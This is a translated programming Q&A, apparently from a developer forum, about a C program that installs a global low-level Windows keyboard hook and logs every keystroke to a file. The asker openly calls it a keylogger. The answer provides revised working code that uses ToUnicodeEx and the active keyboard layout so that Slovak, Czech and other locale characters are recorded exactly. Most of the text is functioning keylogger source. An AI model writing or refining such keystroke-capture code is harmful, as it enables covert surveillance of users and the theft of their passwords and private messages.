Windows 挂钩保存语言字符

Windows Hook save language characters

好吧,我有一个简单的程序可以保存按下的键。但它只适用于英文键盘。它无法检测到任何其他键盘,例如我的斯洛伐克语。 单词“škola”被保存为“3kola”。因为“3”和“š”是键盘上的同一个按钮。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0);
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:

                    fprintf(LOG, "%c", kbdStruct.vkCode);
                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
    LOG = fopen("log.txt", "a+" );
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
    fclose(LOG);
}

我想做的是保存当前本地语言的字符。 例如。我用斯洛伐克语“žiak”写了一个词,然后我将本地语言改为英语,然后用英语写了一些东西,然后是捷克语。我该怎么做才能让用户输入的所有时间都用本地语言字符保存。 (是的,它的键盘记录器,但这是在学校学习 C 的有趣方式,我们确实做了一些东西,如循环和写入文本文件,这是我所知道的一切:/)我发现了一些关于 wm_char 的东西可以解决我的问题,但我不知道怎么用。

如果你想保留 low-level 键盘钩子,而不是使用消息钩子,你必须将钩子函数中接收到的键码和键盘状态转换为基于当前语言环境:

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0)
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:
                    unsigned char keyboardState[256];
                    for (int i = 0; i < 256; ++i)
                        keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));

                    wchar_t wbuffer[3] = { 0 };

                    int result = ToUnicodeEx(
                        kbdStruct.vkCode, 
                        kbdStruct.scanCode, 
                        keyboardState, 
                        wbuffer, 
                        sizeof(wbuffer) / sizeof(wchar_t), 
                        0, 
                        GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
                    if (result > 0)
                    {
                        char buffer[5] = { 0 };
                        WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
                        fprintf(LOG, "%s", buffer);
                    }

                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

ToUnicodeEx 是执行翻译的函数。除了键码外,它还需要键盘状态,因为修改键可能会改变字符。